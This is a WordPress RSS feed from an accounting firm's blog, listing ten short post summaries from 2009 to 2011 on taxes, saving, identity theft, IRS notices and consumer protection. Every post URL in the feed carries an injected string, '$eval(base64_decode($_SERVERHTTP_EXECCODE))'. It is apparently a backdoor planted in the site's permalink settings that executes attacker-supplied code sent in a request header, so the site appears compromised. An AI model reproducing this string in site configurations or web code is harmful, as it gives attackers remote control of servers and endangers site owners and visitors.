<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>First Capital Advisors, LLC &#187; consumer laws</title>
	<atom:link href="http://www.fcallc.biz/blog/category/consumer-laws/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.fcallc.biz/blog</link>
	<description>Accounting, Bookkeeping, Tax, &#38; Payroll Solutions</description>
	<lastBuildDate>Sat, 31 Dec 2011 09:21:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Taxes and the Military</title>
		<link>http://www.fcallc.biz/blog/2011/11/18/taxes-and-the-military/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/11/18/taxes-and-the-military/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 19 Nov 2011 00:07:45 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Taxes]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=311</guid>
		<description><![CDATA[As with anything else, it’s vital for military personnel to understand their tax rights and benefits.  Too often many tax benefits are overlooked because military personnel are not aware of their rights.  Among these are: Unreimbursed expenses related to moving can be deducted. For more information refer to IRS Publication 3, Armed Forces’ Tax Guide. [...]]]></description>
		<wfw:commentRss>http://www.fcallc.biz/blog/2011/11/18/taxes-and-the-military/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What are your barriers to saving?</title>
		<link>http://www.fcallc.biz/blog/2011/03/01/what-are-your-barriers-to-saving/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/03/01/what-are-your-barriers-to-saving/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 01 Mar 2011 00:00:57 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[credit cards]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[credit card payment]]></category>
		<category><![CDATA[retirement]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=266</guid>
		<description><![CDATA[             I came across this great article on Americasaves.org.  Many people have difficulty saving for one reason or another.  In this article, the writer shares some great tips to help and encourage people to save. The topics that she discusses are listed below: Does the Cost of Living Keep You from Saving? Do You Find [...]]]></description>
		<wfw:commentRss>http://www.fcallc.biz/blog/2011/03/01/what-are-your-barriers-to-saving/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>National Protect Your Identity Week: October 17-23</title>
		<link>http://www.fcallc.biz/blog/2010/10/18/national-protect-your-identity-week-october-17-23/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/10/18/national-protect-your-identity-week-october-17-23/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 17 Oct 2010 18:15:46 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[credit report]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=251</guid>
		<description><![CDATA[The week of October 17th-23rd is designated as National Protect Your identity Week.  This week is geared towards educating the public about identity theft and how to protect yourself and the ones you love.    The website protectyouridnow.org  has several resources that will help you with this endeavor. Other useful tips that you can follow include: [...]]]></description>
		<wfw:commentRss>http://www.fcallc.biz/blog/2010/10/18/national-protect-your-identity-week-october-17-23/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Useful Tips from the IRS to Help Protect Your Identity</title>
		<link>http://www.fcallc.biz/blog/2010/08/22/useful-tips-from-the-irs-to-help-protect-your-identity/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/08/22/useful-tips-from-the-irs-to-help-protect-your-identity/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 22 Aug 2010 14:04:21 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Taxes]]></category>
		<category><![CDATA[credit card payment]]></category>
		<category><![CDATA[tax credit]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=246</guid>
		<description><![CDATA[Identity theft is so prevalent these days.  It is too easy to have your social security number stolen.  It has actually happened to me.  Someone stole my identity and filed a tax return using my social security number.  Luckily for me, I caught it early and was able to prevent any major damage to my [...]]]></description>
		<wfw:commentRss>http://www.fcallc.biz/blog/2010/08/22/useful-tips-from-the-irs-to-help-protect-your-identity/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Avoiding an IRS Audit</title>
		<link>http://www.fcallc.biz/blog/2010/01/24/avoiding-an-irs-audit/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/01/24/avoiding-an-irs-audit/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 24 Jan 2010 09:31:13 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[Taxes]]></category>
		<category><![CDATA[tax preparation]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=199</guid>
		<description><![CDATA[No one wants to be audited by the IRS.  It is embarrassing and also draining emotionally.  It makes many people uncomfortable because it implies that you did something wrong.  But just because you are audited doesn’t mean that you did something wrong.  The IRS randomly picks who it audits.  Some individuals are more likely to [...]]]></description>
		<wfw:commentRss>http://www.fcallc.biz/blog/2010/01/24/avoiding-an-irs-audit/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How much do you know about social security?</title>
		<link>http://www.fcallc.biz/blog/2009/12/08/how-much-do-you-know-about-social-security/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2009/12/08/how-much-do-you-know-about-social-security/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 06:26:00 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[retirement]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=187</guid>
		<description><![CDATA[I was recently reading an article about young workers and social security.  The article mentions that many young adults don’t understand social security and the impact that social security and saving can have on their future plans. Some basic facts about social security are listed below:   An annual social security statement is mailed to [...]]]></description>
		<wfw:commentRss>http://www.fcallc.biz/blog/2009/12/08/how-much-do-you-know-about-social-security/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Avoid Foreclosure Rescue Scams</title>
		<link>http://www.fcallc.biz/blog/2009/10/12/how-to-avoid-foreclosure-rescue-scams/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2009/10/12/how-to-avoid-foreclosure-rescue-scams/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 23:45:11 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[mortgage]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[debt management]]></category>
		<category><![CDATA[homes]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=156</guid>
		<description><![CDATA[Many homeowners are struggling to keep their homes. Unfortunately, there are companies out there who promise to help but only have their own interests in mind.  I recently read this great article from Stretcher.com.  This is a great article which provides useful tips on avoiding the scammers.  The full article can be found at www.stretcher.com/stories/09/09aug17e.cfm.   [...]]]></description>
		<wfw:commentRss>http://www.fcallc.biz/blog/2009/10/12/how-to-avoid-foreclosure-rescue-scams/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eight Things to Know If You Receive an IRS Notice</title>
		<link>http://www.fcallc.biz/blog/2009/10/05/eight-things-to-know-if-you-receive-an-irs-notice/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2009/10/05/eight-things-to-know-if-you-receive-an-irs-notice/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 04 Oct 2009 18:16:04 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Taxes]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=154</guid>
		<description><![CDATA[Every year, the IRS sends millions of letters and notices to taxpayers. Many taxpayers will receive this correspondence during the late summer and fall. Here are eight things every taxpayer should know about IRS notices – just in case one shows up in your mailbox. Don’t panic. Many of these letters can be dealt with [...]]]></description>
		<wfw:commentRss>http://www.fcallc.biz/blog/2009/10/05/eight-things-to-know-if-you-receive-an-irs-notice/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Will the increase in minimum wage help or hinder workers?</title>
		<link>http://www.fcallc.biz/blog/2009/07/26/will-the-increase-in-minimum-wage-help-or-hinder-workers/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2009/07/26/will-the-increase-in-minimum-wage-help-or-hinder-workers/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 26 Jul 2009 18:38:49 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[employment]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[wages]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=118</guid>
		<description><![CDATA[The minimum wage increased to $7.25 on July 24th.  However, many are questioning whether this will be a boost to workers considering the current economic climate.  Some economists are arguing that this is another stimulus for the economy.  But is it really?  Consider that many states have their own minimum wage requirements.  Employers are required [...]]]></description>
		<wfw:commentRss>http://www.fcallc.biz/blog/2009/07/26/will-the-increase-in-minimum-wage-help-or-hinder-workers/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Additional Protection for US Consumers</title>
		<link>http://www.fcallc.biz/blog/2009/07/01/additional-protection-for-us-consumers/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2009/07/01/additional-protection-for-us-consumers/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 06:26:50 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[Banking]]></category>
		<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[consumer protection]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=110</guid>
		<description><![CDATA[President Obama wants to create the Consumer Financial Protection Agency.  The purpose of the agency is to protect consumer credit and their banking transactions.  Additionally, The Federal Reserve Bank will have the added responsibility of supervising large financial institutions and monitor risk within the financial system.  Obama even wants to give the Consumer Protection Agency [...]]]></description>
		<wfw:commentRss>http://www.fcallc.biz/blog/2009/07/01/additional-protection-for-us-consumers/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

